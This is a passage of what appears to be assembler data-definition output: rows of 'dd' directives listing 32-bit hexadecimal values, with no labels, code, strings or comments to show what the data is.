52770192h, 12BAF245h, 0F89ED08Ah, 0A8E6E428h, 777625E8h dd 2E7D6E01h, 31DB1EB4h, 987FCCh, 6F617154h, 23754CBCh dd 9410082Ah, 69A53D30h, 388BD48h, 0E2D2F8EFh, 0AAB097E4h dd 0F0485D57h, 0AEED0928h, 18C42Ch, 0AD488F52h, 0FF8DC106h dd 873CB800h, 0E5B57C6Fh, 29AC603Eh, 32A98F75h, 54D1700h dd 8687C541h, 42909427h, 84E070FBh, 0B8C5E5AEh, 3440B506h dd 89870143h, 0CBEC00E8h, 0DAAC46B9h, 0F9041754h, 39647141h dd 1C3DECC8h, 47753CF6h, 0F1335F9Ah, 0D0E9919Eh, 0FB00A54Eh dd 2FC52541h, 0B9938E39h, 3DA38004h, 0CB55B245h, 0E8785400h dd 26F90DE6h, 123AECC6h, 0EDD831h, 0BC9D1814h, 4D0C277Eh dd 58484BA7h, 1FC20E42h, 10968586h, 1212A1A4h, 4F91E8Ch dd 0B05BA9EAh, 6D00EC40h, 5C7B6AC4h, 0A028B229h, 2EDEA0D8h dd 8A8C7h, 262A37CDh, 0C001A91Bh, 0B8979D64h, 2029295Bh dd 0D82EA200h, 0FC49F3FEh, 0D01AF818h, 0BCF168h, 0FBEECB25h dd 71027B5Eh, 11EE672h, 0BFB6A40h, 9026B5D2h, 1678CCCCh dd 8620C86h, 3380A508h, 0B98BBEB5h, 0EB8C00C0h, 74AB3A7Eh dd 3490888Ah, 0D3CBFE00h, 610A2DC2h, 2228908Dh, 2416600Fh dd 6488BFE7h, 800501DEh, 0D38CD5D9h, 0D1F04706h, 11A2DB86h dd 918024CDh, 8AE3726Ah, 42001DEFh, 0C8106678h, 0BA8BBh dd 863F2AC3h, 0B597EB2Bh, 0F4403C4Bh, 75152810h, 5420FF52h dd 3BA628E5h, 0B29625F8h, 0CC746CA1h, 44E81030h, 9DE90037h dd 0DB6A35F5h, 0C800A6A3h, 0AE4BAB11h, 515B5896h, 50284C56h dd 19ECCB80h, 22191EC3h, 0C470764Fh, 0EAB428D0h, 44F09481h dd 4F2A2160h, 0D6A7B980h, 0B918DA7Bh, 0A1E0C98h, 2066048Ch dd 426F3260h, 0E05C3031h, 2F5B5F74h, 7AA12CA0h, 188E0B0Bh dd 3158049Ch, 0D1AC8853h, 0C29F6500h, 6FE20C5Eh, 0D8DA24E6h dd 3B1C015Ch, 69DF8647h, 1740FDCh, 0E784C2A1h, 5C8C40E8h dd 213421D0h, 68B4D780h, 0CA36D8h, 0A169428Fh, 28DC7413h dd 5B119F09h, 4F80064Ah, 1B0813D0h, 469C0F2Fh, 0A17F52A6h dd 0DF4A30B8h, 2F1D0820h, 6CD81F3Dh, 646240A5h, 460153C1h dd 0A0796729h, 3D313E40h, 6218C8C0h, 0F8178BA0h, 0EC1C1647h dd 0A911A550h, 0BB1B0017h, 0A33AC3Bh, 84770090h, 0C8D26D5Eh dd 180F1E78h, 80FFE90Dh, 0CE460A98h, 13A1F44Dh, 47668F1h dd 0E4F34F94h, 8B00B284h, 0DC5DB581h, 0F1A0630h, 3B832A78h dd 0C0CEAEE7h, 21DC3E4h, 0AB693400h, 54845E97h, 99C7001Fh dd 51D3A01Bh, 0D800D929h, 22A9704Dh, 17859h, 5F79434Fh dd 0D4BC2D2Ah, 18F5A327h, 925DA9C8h, 6F4F03A4h, 39066809h dd 70475780h, 4B729707h, 947AF3A5h, 74070A17h, 3E75A2E3h dd 0CB58C8h, 3A73C115h, 9FE00DD5h, 5C707E00h, 0FFAC5FE8h dd 63621726h, 1A820074h, 866F7A6Bh, 8AB0E148h, 0D88148A7h dd 81A2DCD9h, 551080D2h, 9333439h, 3AD3BCE4h, 3EA62490h dd 54DE8500h, 0A9E11683h, 98300351h, 0B5D726C1h, 0CCE9F2D2h dd 224038CCh, 0C2BA0015h, 0F8229EA8h, 0F63991A5h, 58463A6Ah dd 0D1221Ch, 0C32AF22Bh, 24AAAF16h, 86FCC009h, 23701825h dd 81889C0Dh, 0D032C624h, 0A702D3Fh, 0F647F128h, 0DA9F7829h dd 0D9061D40h, 1715C2Fh, 243096B3h, 0D41BD822h, 5402C3C1h dd 0A6F0794Fh, 0D18C919Ah, 50D0C034h, 3F2303Ah, 304B98C7h dd 3EE833CBh, 3A5AD6D8h, 0FF1A043h, 0A299D053h, 16F775Dh dd 0FAC7F3D0h, 202D0262h, 4F4E5BA4h, 0BCBBA420h, 0DA461695h dd 372820A8h, 6202836Ch, 6E1CA55Eh, 0C2E603Ch, 0BD8B252Ch dd 6CAC6090h, 0B55803FCh, 28490008h, 1D1A87B6h, 332328DCh dd 2840014h, 5B6FD026h, 2C909C41h, 18A9092Eh, 0DC438040h dd 76FC5862h, 1C2BC800h, 374CAE6Ah, 5E161AE2h, 9D001D78h dd 7A4810DEh, 31533E6Eh, 232358Bh, 0DAED1418h, 0D1444898h dd 9463F304h, 3424F100h, 4785E19Ah, 0D5089F00h, 0EADA8981h dd 0B17604F8h, 0C4387E8Eh, 1F7080C3h, 0C30C0C60h, 0C0887856h dd 0F1CB0203h, 0D171556Ch, 9F1FF0D1h, 59D5D283h, 0BBDEF9A9h dd 40A56060h, 796185D4h dd 8E087450h, 4EA5020h, 155BAE98h, 0CBE4C14Eh, 0A47D39h dd 36557D25h, 0C23AEFh, 0E49F7B3Fh, 0C888B746h, 0CA959709h dd 0DA6C10CCh, 722FCB8h, 9FD3D96Ah, 0B2DD119Ch, 14B04C24h dd 0B8CD5407h, 34D01C42h, 0DE2E68h, 51D24393h, 0EC220679h dd 192D4600h, 7D987586h, 24FAE8CCh, 40643849h, 0AD7B39C2h dd 40332503h, 0D82E22BCh, 5C20B4E2h, 2A1B2B80h, 0C58CD0A0h dd 8070B2A0h, 0B4DD9F50h, 866A3CF3h, 0B2439A00h, 38097BB3h dd 2380D096h, 50D82DC1h, 4C8005Ch, 40567814h, 2B04F925h dd 9B7E185Ah, 0C076F080h, 0CE3300A2h, 0A6527868h, 594E974Eh dd 0B0FEEC31h, 0EEC598F7h, 2BC0084h, 838B257Dh, 0CC5FE551h dd 1BCD0447h, 7443F8F1h, 5AC2A6DDh, 0ADD15C2Ch, 0B5D3A109h dd 58D92442h, 0A7B92D00h, 90420A71h, 0C9110057h, 168186C3h dd 84A1B895h, 3D3010B0h, 1DCA0049h, 1EF37045h, 0A91971B1h dd 9C2823A1h, 3AC43015h, 23E8F7F3h, 927C5E00h, 44CB4234h dd 0FF4A2F85h, 6C9848Fh, 2A71A4E8h, 0E50090BEh, 0EE25BFFCh dd 0AA98009Bh, 55A09783h, 71020170h, 31890B17h, 0ABD7C1D5h dd 9006039h, 5F4E3EFEh, 98951A0Dh, 98D62B0Ch, 35A84474h dd 3100A17Fh, 578C0844h, 2EC40743h, 890C7D04h, 8460BAB1h dd 0CB137623h, 248C98A6h, 0B6892CFAh, 681E05F0h, 51C430D6h dd 0D71E7798h, 61923D83h, 6C88A416h, 8E6C161Ah, 878054Fh dd 3A1C40EFh, 63CBDB96h, 4D327D01h, 9EBA601h, 0F059430h dd 6A0BD4E9h, 8A92FD44h, 0EE007C4Ch, 5BC5B8ADh, 1F2CD7B5h dd 85464D30h, 0D411A3h, 24BC09FCh, 809945E9h, 0D767EC83h dd 9C80B58Dh, 0CA2548h, 40A2301Ah, 67B14201h, 0DEB88904h dd 0F0883AC7h, 0F4350020h, 6A69D91h, 1C005558h, 959B0A68h dd 97E2C51h, 0D8E52D9Fh, 6CA6EC98h, 0DF7BD4FAh, 0C7650903h dd 0B8982FEAh, 2725D95h, 4BFE1D5Bh, 1CC9EB29h, 760033E7h dd 73269400h, 8617C6EFh, 0C90700A5h, 0BB68063Ch, 41014B15h dd 0DC3199BAh, 0DC28D054h, 609B7C80h, 0DE00FC93h, 0CE102B52h dd 4CEB5F2Fh, 0AD22B4D5h, 0C2D35500h, 79188F9Fh, 0A0CD0061h dd 504829D2h, 0DE0E521Fh, 36761A6Fh, 0DBD8F404h, 18007549h dd 0DF257420h, 0CBF5E205h, 7C003FDAh, 2CC2FDF6h, 0ED3B008Ch dd 35C4F806h, 0B2B0D418h, 2ECFB512h, 3B500040h, 9BD63Ah dd 855CE983h, 39E1E767h, 6336EB02h, 40AD1373h, 9C675F9h dd 5FA989F1h, 5380027h, 0E5E100D5h, 9171AB8Bh, 543648h dd 4C5BDDC5h, 2EF3B56h, 5802E4D8h, 8856DFB9h, 845A8640h dd 2CBE0145h, 302AE803h, 80F02840h, 90EF922Dh, 683F0055h dd 0E32B81B9h, 0FF5F7E53h, 40E7CC20h, 827378h, 869F6F42h dd 0F3A79102h, 4D6CBF00h, 0A6BDE8AAh, 8249799h, 64488A9h dd 0D496A01h, 77E9766Bh, 4C1DDDF8h, 182284C2h, 59A1B500h dd 64A2C5AAh, 0BE200915h, 10712D5Bh, 0CCE2D000h, 0C3C0D8h dd 48910819h, 0C99AA70h, 8D711602h, 0C05C63E2h, 2A8ADE58h dd 0B6A058A8h, 14724ED0h, 8D0BE12Ah, 18C83D1Fh, 8001DD7Dh dd 0CFDAB67h, 0DC48CC6Dh, 0BE41009Ah, 0A2AF0239h, 0D2008328h dd 4ABA4BCAh, 32A4525h, 700F7F94h, 33BA6ADBh, 4CF5A0C1h dd 30004AC0h, 8A7C3B21h, 0F7763224h, 0B90523D8h, 3CA800Ch dd 0AD71430h, 54F78B00h, 18442937h, 0F9F4A087h, 2ECE009Ch dd 0EA42C71Ch, 551402DBh, 80A0F3C4h, 0C6CA28C9h, 1D4104A5h dd 0C0DD5F86h, 0CE3088B4h, 9C0F35E2h, 0E0021E5Ch, 93A87BA5h dd 0B42F0CD7h, 0A489D981h, 4F34E1Ch, 0DDF15442h, 307FC008h dd 20A15B1Ch, 94B789C8h, 0E0001678h, 0D1B1799Dh, 9A54D87h dd 82573D56h, 40A40B77h, 0B90C23C8h, 424C1D34h, 2E5B5FFBh dd 2F711083h, 0D6FE59B8h, 3B1AC001h, 0D92AC3F7h, 2884202Ah dd 6E7A21A5h, 22915000h, 2E137E29h, 1B9B0960h, 0C068D32Ah dd 718A2F2Dh, 4F120790h, 4BB70B4h, 80EFD31h, 405947B0h dd 5402E536h, 0E9742489h, 0C8A260B8h, 1C01292Fh, 5286306h dd 6823F59Ah, 0C6AF3200h, 87756F1Ah, 2AB5D012h, 857F5430h dd 3E109CA6h, 3EC30709h, 0BCD81890h, 87985B1Eh, 0EB54300h dd 0B770DD4h, 0A739C314h, 6BD3ECA3h, 0A6327FC0h, 0C9B3FE32h dd 0F261E01Ah, 6C91A9h, 7BB86BD5h, 0FA005BEFh, 0FF617C37h dd 88AD3DB4h, 0D51F080Eh, 0D7579B58h, 3A278088h, 4B81CF12h dd 1EB42B10h, 0EC6333h, 6DA32489h, 2C52CFh, 3F1560ECh dd 1614CE3Ch, 0D040A84Bh, 854FD3F8h, 978C0C5Fh, 8AF8244Bh dd 0A155B06h, 2959A9h, 4E05ABFFh, 4863995Eh, 21C8E802h dd 717E14CDh, 0ACB900E4h, 224879F4h, 76AFC813h, 0DB536B05h dd 4207FCF2h, 0E0C2DF88h, 0A55C2FC4h, 815CD554h, 0DC0024B0h dd 0FD1E411Dh, 12163FF8h, 45A8A69Bh, 809FC734h, 559437B8h dd 277AC0Bh, 859010B2h, 38EB091Fh, 78448925h, 0DD4C4EA0h dd 0F70053F0h, 6A36D5DBh, 9CF7B8Fh, 5538A963h, 65B09CC4h dd 7F041107h, 0E8604AA8h, 0B0D813DCh, 52FAFDh, 12333CF0h dd 0AED19E0h, 0DF560D00h, 70BC20B9h, 0BDD10150h, 0A3EFAAA1h dd 0B2F4F443h, 0BE936807h, 8ABFB8DBh, 3F00A7A7h, 0C6637319h dd 78080D29h, 0F1502460h, 359CDC87h, 96F2E79h, 65908028h dd 0ABFE2D4h, 2D971554h, 75800040h, 0CC7BB522h, 0D31FA500h dd 95F7C732h, 782A0799h, 0F39CF6B0h, 610F2656h, 20436998h dd 0BFA80442h, 6D306E3h, 0A8B7D6E0h, 80B0F700h, 0C70BF8CBh dd 0B6380C87h, 2871E82Dh, 0ACC258h, 9345ADBAh, 142E567h dd 7C01BFA7h, 83275278h, 0B5B87969h, 7388D144h, 0D5C996h dd 0D24E70E4h, 0C9F87187h, 0DE0C77E8h, 80B5A25Ch, 4A85CE9h dd 7B86300Ch, 9AFA6239h, 7703F3F2h, 0A1372A4h, 407EFF17h dd 0E8F07686h, 0F8FE1873h, 3AF6A906h, 0D40F89DFh, 8E073F6Ah dd 20208796h, 0E894E0h, 60A136A2h, 0F35473F2h, 5F382800h dd 55302186h, 11CE1807h, 643B513Ah, 7F6DF605h, 0E05DAC03h dd 8AE25B41h, 73F0CFF1h, 553E870h, 0EF9C38C8h, 0F424A1h dd 9713B0C0h, 0A450E0BAh, 10076E20h, 456FFD6Ah, 1C742E10h dd 0BEDE24E0h, 0EE786130h, 7003CDBDh, 0DB7EC355h, 0B4809701h dd 0F61E87A0h, 823C1C22h, 3A47AE07h, 8BE0027h, 340AE7B3h dd 14CC2154h, 0E0BCDB80h, 30FD5AC5h, 0A6693DF0h, 0C07AFE7Eh dd 0A1C05EE0h, 1C6E8412h, 624D001Ah, 0CF5551EAh, 0E807CDB7h dd 0A88F1D97h, 9408F295h, 80369EE1h, 0B6B976E7h, 0F001D23h dd 7115D5A0h, 91F4FDA5h, 1BE01E24h, 97C090EEh, 7901A8F7h dd 0D40C8A09h, 2EE5BF62h, 5EF1B180h, 873C3B7Dh, 0FFB51000h dd 17D0A55Bh, 466F1DD5h, 0BEAF8173h, 42CFB2F2h, 0A42160BCh dd 7192D28Dh, 0B8020F6h, 86006FE4h, 888D529Dh, 70F377DDh dd 8A4302Eh, 1393C038h, 0E59E7600h, 0A0F5BFE1h, 37DF00F4h dd 0FD829F6Ah, 2CA105F2h, 9B501735h, 7F3702Eh, 39EA8868h dd 8E5807B0h, 0F220490Fh, 2E20D608h, 6C652C24h, 49EB128Ch dd 741600A5h, 0DEEF7F62h, 0D400CFAFh, 33FF56C5h, 9CA11C6h dd 0BE90056Ah, 17A4680h, 0AE789635h, 0CCFBEF00h, 57487A2h dd 6CCEB0F6h, 1A30610Eh, 53D1F000h, 0FB8A0B15h, 0AE8F0350h dd 78851254h, 0CC3C291Dh, 8A512B80h, 36C25C5h, 0ACD434B0h dd 3873F64Eh, 0F86A3328h, 12740700h, 0C0C73CFAh, 832E12BAh dd 30B83368h, 0AEF8924Fh dd 60014607h, 0A1A06052h, 7C39E21Dh, 671900C0h, 3711D1D4h dd 0C2090076h, 88964D41h, 2704200Ch, 222E1807h, 0E6780CCh dd 0E0A336D9h, 0CCA03052h, 65006168h, 0FD6B2B83h, 1170ADC8h dd 0D5122Eh, 412C5F93h, 1CC63466h, 944287A9h, 0CD002C73h dd 27282F7Ah, 56041498h, 11FB698Fh, 0DE5488h, 53ECF3DAh dd 5FA2FC98h, 17699B0Fh, 120123F9h, 0D12900D6h, 1CB1608Ah dd 960213CAh, 0F4097834h, 1EA84690h, 40EA4DA6h, 5C96D1AAh dd 7202B27Fh, 6E1F777Dh, 0B14CE1DCh, 602DA4E0h, 0FE2E59ECh dd 0E276958Ch, 0DCC0D301h, 0AE216DC8h, 91DCAC4h, 242E6E9h dd 0F4BC1C80h, 7602879Fh, 0B3771405h, 1D5046ABh, 40A04FB5h dd 6BEBBC4Ch, 8C0E8B7Bh, 80D92EA6h, 5A02CEA2h, 8C2090B7h dd 0EABD24BCh, 96CA60F0h, 0EC000759h, 5A3464EEh, 322432Ah dd 987AAC2Bh, 33B97946h, 0DCCC315Eh, 0B9729B6Dh, 0F684AA00h dd 7A1FB878h, 0A0EF269Fh, 0E0744090h, 100903Dh, 6F8792C0h dd 0E44D861Bh, 7689CB0Dh, 0CDFCF180h, 1F582037h, 0F0020914h dd 239C84E5h, 2CF77898h, 0F68336Dh, 0B95812ADh, 2D0002BDh dd 831DCB88h, 5116C7h, 21C0DC1Fh, 0C824D7FAh, 0FC8AA429h dd 0F5E3BE00h, 3C9AE62Dh, 19607B95h, 77837E3Fh, 98A371C0h dd 6F89D39h, 0B0C264BEh, 0E71FF075h, 0AB8F9F70h, 4B870789h dd 0F6819910h, 9AB272EFh, 0F7B51C7Ch, 406824A6h, 3401F2D2h dd 11F0AA13h, 20A84830h, 415801E7h, 0E817BFB4h, 97CFEC96h dd 9800D172h, 4438B5C0h, 44BA7809h, 0D068725h, 0A3037D88h dd 0FD730049h, 151D2F11h, 0EB0079EEh, 0BD8471F3h, 7DAD88E3h dd 65B0C214h, 54619934h, 0E8C3100Eh, 0AFC53030h, 6DB38420h dd 236D238h, 8BFD649Dh, 89C903Eh, 1FDD06F2h, 41708877h dd 16812801h, 5C75FA96h, 4507EC63h, 0B02C2BCBh, 0BCE99866h dd 1F6AD000h, 7C295469h, 0EE457C22h, 5AFA6525h, 0F9C5BFAFh dd 86E36C87h, 3D490371h, 42697C9Fh, 0C92FDBC8h, 0D188004h dd 7CD05401h, 632A76C5h, 7F854093h, 4C203900h, 4D7A7F6h dd 5F7CB8h, 0DC18155Ah, 0D17D2706h, 212EAA15h, 0A4ED00D0h dd 3853D389h, 87983C0Ah, 4488809h, 0F2DFAC80h, 0E4B03C6Dh dd 5E3CA4Ch, 18BE78BFh, 0A414C841h, 9454E9F1h, 766CA401h dd 12D0A25Bh, 1119C0EFh, 0D61A4F6h, 18825900h, 0E34A7D8Dh dd 0B6C55C1Dh, 9012BD00h, 865A48E4h, 4F997A60h, 0FC3E9Fh dd 8EE154EBh, 3BCEF17h, 841C442Ch, 295ED402h, 0C2648024h dd 7C852677h, 50FCB00Fh, 78674CF3h, 8D5A0948h, 1C20A703h dd 37F5F729h, 90176EFCh, 860C7E92h, 1D48D92Fh, 35B7512h dd 0A1635326h, 2AC63080h, 28349F58h, 0FC00C013h, 0BECBCCF0h dd 0F8B5352Bh, 0C718C5DBh, 89448748h, 0A0045C12h, 7C4CC215h dd 4C4ABC2h, 0DD10AD00h, 0F9A0B831h, 0FA9B0002h, 78D45DB1h dd 12605383h, 5061DE50h, 4CECFA93h, 0F1011487h, 0D6EFDFC6h dd 7A66F015h, 8444F4Ch, 18F57CEEh, 0F3A4E9A8h, 8902F8B9h dd 614720D0h, 38816C24h, 0A0F7CC13h, 72E83201h, 2B413300h dd 0FFD9C506h, 0F0993B84h, 0CD1EC602h, 0EC9808EAh, 7F242E60h dd 0B50083B4h, 0E7AE335Fh, 2EA042Ch, 0CC1FC8A2h, 8C00C604h dd 0CCB9F0E0h, 5CB8AD69h, 0CF80642Dh, 7758651Fh, 2BA02500h dd 0CC801456h, 887924A4h, 2CEE40ACh, 0F407325Eh, 0B2D4E2D3h dd 0F8FE6AE3h, 0CE1017h, 9E08BFA8h, 0EBC09385h, 1D3180Ch dd 3A458159h, 913DC507h, 0A4EA5080h, 0EB0F5416h, 3E01E301h dd 81711033h, 7183F131h, 0D08F696Bh, 0B39A42E0h, 2A546E00h dd 712D2FE9h, 0AA61791h, 6D44F79h, 0AD894E00h, 0B107B566h dd 7DC9C41Bh, 0EE8EFE11h, 0CCE0E994h, 449086C9h, 7E0913C2h dd 453C74Ah, 0D8CCF194h, 74A600D9h, 0F40B246Ah, 210087FCh dd 1B03BF3Dh, 9229F6A3h, 0B36A0024h, 0BAB9E41Eh, 0D9008E85h dd 216BEED5h, 187DB5D2h, 71728379h, 58004A47h, 8C636AF4h dd 0B82F6B3Eh, 62EA00B4h, 0B87B9782h, 18006D1Eh, 324E982Ah dd 2E58F8C2h, 98005F02h, 57C3080Eh, 0D9D06D0Eh, 0B45D0AA4h dd 0E1CEDA80h, 0A50B2Ah, 0BD605632h, 0B1EE4D89h, 7B4BD600h dd 85616754h, 79D8003Ch, 0E2FCC8FEh, 0B32AACA1h, 1212A87Ch dd 0C830A471h, 638DCEh, 23ADB3E4h, 99012787h, 1A065372h dd 0A4F4AC85h, 549C8852h, 0BC7800DAh, 8A3908C4h, 7E1BD8F8h dd 0A470488Fh, 182C0CCCh, 0D0E21421h, 5826AB8Ah, 0F304A817h dd 0C8C22E27h, 6004C29Ch, 5C363CE0h, 804D70A1h, 8AED461Dh dd 40F02DB6h, 2CA25E6Dh, 6CFC8100h, 332F9CBCh, 70C00531h dd 0B46488h, 0B24430E0h, 0BB10786Ch, 2E13EE36h, 127C2170h dd 42518FD4h, 0CE2FA04Dh, 0E7E897Dh, 0A8BFE2FFh, 1D01D2C0h dd 740B295Fh, 10A6E0CDh, 0B8AAB1C0h, 781B1B9Ch, 4E749BFh dd 303C97A5h, 1FEC4C5Dh, 93C6A103h, 70D6306Eh, 0FEF0A098h dd 0D7CB1F2h, 0E0A1AEE0h, 41F3AACEh, 39F69BB8h, 8C7A0088h dd 4D722224h, 71B809D9h, 38902D9Ah, 0CF02E74Bh, 0BC70FAFBh dd 0BF960C0h, 0B03800C1h, 6827326Dh, 0F9C07587h, 75EDA59h dd 6A2B0750h, 803A46BAh, 4733F167h, 0E8A44331h, 0B0005AAh dd 0F584AC4h, 0CDE6C4BCh, 32EC0980h, 985E0EB0h, 0DF01A8EEh dd 805F0380h, 0E540EA39h, 160CB0h, 0D15E5475h, 0E3573CCAh dd 5DFBEF05h, 0F803A777h, 0AC843BCCh, 3E49C88h, 953774ABh dd 76FA1A0Dh, 0A561F840h, 882CF62Ah, 0E667E200h, 2449AE6Eh dd 4CAE4BCh, 0CEDBB10Fh, 0D3C0C0A9h, 0A12AE025h, 2802ACF0h dd 18AD5E3Dh, 0FF7EE0F7h, 9DF2009Ah, 9890F40Ch, 92050750h dd 31C851DCh, 5F7A69C0h, 0D2581ED9h, 79864CD0h, 5700EFA1h dd 0B742B5DFh, 3CCD1F5h, 6D32E303h, 7CA8D0F8h, 0A9FAB3FCh dd 0CF705E3Ch, 5DE50420h, 0DBEA0883h, 24BE232Eh, 823A74A5h dd 22787599h, 0CE34E1CCh, 1C2DFEECh, 26DB3D6Dh, 0DF8240B0h dd 8100CC76h, 0CE3460C4h, 1EFE2AECh, 7E15EDh, 0C9E1061Fh dd 71887C85h, 0D9C20011h, 1B475FF8h, 0AB000D30h, 32749C3Ah dd 4373368h, 0CC8FDA0h, 0A880C273h, 8CF228C6h, 0DA9A3000h dd 7078ECB0h, 6B5A0923h, 8CC453A5h, 9E93A901h, 7233C866h dd 0B738BC63h, 7149DD80h, 0DB7AFC1Ah, 7492E501h, 0E0581340h dd 3936868h, 6F55F8C0h, 9083A7A7h, 851434B8h, 0E000D891h dd 0F7B371DAh, 982709E9h, 20805363h, 0B80AA851h, 7F4C6173h dd 84901330h, 2857B006h, 862E189h, 0C7CFAD0Fh, 0C2D26840h dd 772EBD41h, 3001CCCh, 0AF3517BEh, 873F24A3h, 5A5F4078h dd 7C3F29FCh, 0F1CF83AEh, 0DA1DD4F6h, 0C1E860AAh, 0FC0148BFh dd 6D6C9F81h, 0E71BF426h, 0C7010BE8h, 0AE97D174h, 9D706467h dd 0B1E80EDCh, 23124ED9h, 0CDC0BD98h, 0A40088BBh, 38166145h dd 1CFDE65h, 0BFA03D7Ah, 62035FB3h, 1965800h, 16DD450Ah dd 97D1AE9Dh, 129E5120h, 1E418B6Eh, 34666Ch, 1698C4C0h dd 0E1C36FCh, 117F7A9h, 9D85D021h, 4FD67F8h, 886C7F7Bh dd 0B0CCC655h, 76696500h, 0E03DFB8Ah, 0A41853E2h, 71A3B400h dd 0B2EFB658h, 0C0070F08h, 89300028h, 667677D3h, 0E93D20E9h dd 1DBCD100h, 7B954D02h, 981613B0h, 7C15A3h, 0C2B19084h dd 0DC90F6BCh, 0C6771477h, 0F12D8300h, 348E71Fh, 78FC0143h dd 0CD048642h, 6173F9A9h, 0F4983470h, 8AF8C662h, 2CC8E43Bh dd 3D3816ADh, 46D50BFDh dd 4C649DBBh, 0C51FC2FEh, 0D6001F8Ch, 1E98C7F5h, 0B54E0ED1h dd 0D9507853h, 0BE8C768h, 3B70B112h, 77E53980h, 0A09CD9A5h dd 0FE765E0Bh, 0B89410F0h, 0D5960729h, 0D03ADD6Fh, 1C282436h dd 110130B0h, 13D6E04Bh, 3180D72Dh, 9AA4C660h, 0C7136563h dd 7C21F7BEh, 50D8E15Dh, 3050038h, 0D18773F0h, 0A0A0DE36h dd 1A008DFEh, 5FC911A2h, 177FC785h, 865D5B8h, 338077F0h dd 326AA835h, 0DE020074h, 7C2EBB0Eh, 750E5E1Fh, 0E044C709h dd 0D664AE92h, 1880A122h, 24A10111h, 92B0CF00h, 0C7723Bh dd 0B38F2343h, 5782984h, 0F8149F1Fh, 669082A7h, 2804B870h dd 7AF0B04Ah, 59D7EEC1h, 3287C0F3h, 0EECB112h, 73007EB6h dd 92864DDAh, 0FB1A9400h, 5B054BA7h, 98351E2Bh, 2D72C469h dd 0AC2082C5h, 3800F066h, 0C0189810h, 13FFDB8Dh, 1C23A78Ah dd 70298547h, 0F480400Fh, 0C70C68C2h, 98D60E00h, 0AC0AF585h dd 138800EAh, 0EFBFCD28h, 0C8A412A9h, 55010377h, 0D3E7B694h dd 0C8335F6Dh, 685C2B00h, 39A74ECDh, 0EF2FD60Fh, 480BC0FAh dd 0E89CE61Fh, 0FD891604h, 44F8228Ch, 84009851h, 0FD03B688h dd 7BCE627h, 23C6E7EFh, 0FBF4501Bh, 0B1003A12h, 8B047799h dd 7A28FE1h, 9178865Eh, 0D4110B46h, 41F5C830h, 0CABA9305h dd 10CC96F0h, 0E088FE26h, 58D09040h, 8C1F3802h, 6E13BCB1h dd 0C280D40Ch, 14E4863Ch, 0B9E220EBh, 7318BA01h, 3B455E5Fh dd 91207BFDh, 978A00B1h, 36CF22E7h, 1D7314A3h, 54F1D100h dd 37272494h, 402B4EF6h, 3ECF2860h, 1000EED5h, 0F59ABFDFh dd 0E07F91h, 5818FC7Ah, 0A413B078h, 94DC8948h, 17B63E20h dd 90523957h, 20D9B430h, 0B272027Bh, 8750305Eh, 0EC00E872h dd 0C259AC6Dh, 6787DCCh, 0D6D1E09Eh, 0C000F8A9h, 74867F43h dd 2D4231Ch, 7746A087h, 25237683h, 0B74DB809h, 0BB640AA4h dd 0C068FCh, 0C1BD63F3h, 7E00D82Ch, 9845D591h, 2D5A66h dd 0BE05F7DFh, 0A349AD01h, 8AFD4B08h, 0CE6680E9h, 79EA08E3h dd 0D020B35Eh, 97CDCEBh, 7F421F9Ch, 11C6FD80h, 2300E03Bh dd 0D989AAC0h, 55F5F7EBh, 4CE8A432h, 5FE40044h, 0B1688431h dd 8839D793h, 2DDA96D2h, 347B4801h, 0BBD19670h, 1933C68h dd 9514AD8Ch, 0CDF440AEh, 781891F3h, 0F0F97488h, 4967001Ah dd 0D175EAFCh, 7D4CBAABh, 999405A8h, 0C809455Dh, 0C444B3h dd 5385544Ch, 5861B51Eh, 947DEBEAh, 0F51E605h, 44A23A45h dd 39378707h, 3C02D046h, 97004E4Bh, 0A62A57F5h, 0F80B7FFDh dd 90E601B0h, 0FE7B71D7h, 80A838F2h, 5F1C83DEh, 67242F29h dd 0BBEC8038h, 7A682A00h, 6222B73Bh, 0D2CA0783h, 80316471h dd 0DA861E90h, 0B6A31F14h, 689B07ACh, 6F310B6Dh, 0EEF41225h dd 87110B61h, 480CD21h, 691EBB7Ah, 0A2F3FD2Dh, 0A02DF604h dd 2283ECA8h, 0F44300EBh, 0A612D7BDh, 78A80806h, 0B2003C1Fh dd 0AE031C87h, 149C198h, 0E9556A1Ah, 226F2E0Eh, 0A7BA14BCh dd 48122C80h, 9D62B540h, 0E2040089h, 985E0201h, 0A660F281h dd 12541AA0h, 30C81DB5h, 2C99407Dh, 0A8889D73h, 8595E500h dd 22BABDC4h, 8617258Eh, 6F4EAC20h, 0CF3983A9h, 0A3B980BCh dd 2560FABEh, 6E4709B3h, 1082B622h, 3844F62Bh, 4E7D2AB0h dd 0A80EA401h, 77181DC1h, 7F00D063h, 47F183CDh, 5EEE7D2Dh dd 0B9A2601Ch, 0FADD7981h, 0C0C22827h, 0E478BC70h, 8039D720h dd 0FF1BFDD8h, 1210BF3Fh, 0A0A01D22h, 0A4E02527h, 0BD0C4098h dd 0B1AFCE00h, 9ECB782Dh, 0BE5C018Ah, 7B917AA3h, 80202B56h dd 44460Dh, 60FB598h, 547BC6C9h, 7020304Dh, 9780F0BEh dd 9A881671h, 58E0E9h, 6943446Fh, 858F7D3Dh, 0BFB83201h dd 80C01198h, 9110C4DCh, 0A17E037Ch, 1E87597h, 5A00C79Fh dd 28FC7B5Fh, 4C29A769h, 4702D076h, 0A5BC705Bh, 0BF1C8081h dd 8F4C7046h, 34850CB9h, 0ECA3F7A4h, 25931500h, 0C8225EE2h dd 0A6FD4139h, 2063F498h, 0AD7B9844h, 7C545578h, 6BC514DDh dd 0A0FC70h, 2E072270h, 0D86348D0h, 30B1B790h, 0B7CA85BDh dd 3E811A0Ch, 2440F706h, 3F25D82Ah, 0F0CC9584h, 0AB1A6909h dd 0EF0080E4h, 2870D321h, 0E6C17Bh, 5FB46274h, 25B2D252h dd 1F659802h, 0F99E81F4h, 0B7040044h, 44392106h, 0B693BC00h dd 1A187B38h, 0F65A05C4h, 8C12F923h, 0F5006C58h, 0C830D071h dd 5C5FA8BCh, 0B5C06076h, 2898AA65h, 0CF56FD00h, 0B7039A5h dd 0DB001AFh, 0F7B87B8Fh, 1D038CEh, 1EADC71Fh, 202B554Bh dd 765A790Ch, 0A7E2D9F0h, 0FA0717F4h, 15F413B5h, 0D08247F4h dd 0B21F240Ah, 63D60174h, 0E56CCD55h, 88201871h, 4EDCA04Ah dd 0D0AD485Bh, 9819330Eh, 7EFAE6C2h, 8801C643h, 56C6CB13h dd 38BD9AEDh, 30A35E92h, 23EF3048h, 8DAFEA00h, 0B7B39716h dd 0A031008Eh, 79285348h, 80B1A37Ah, 8A5C9A80h, 2B1553Dh dd 0F40B29B9h, 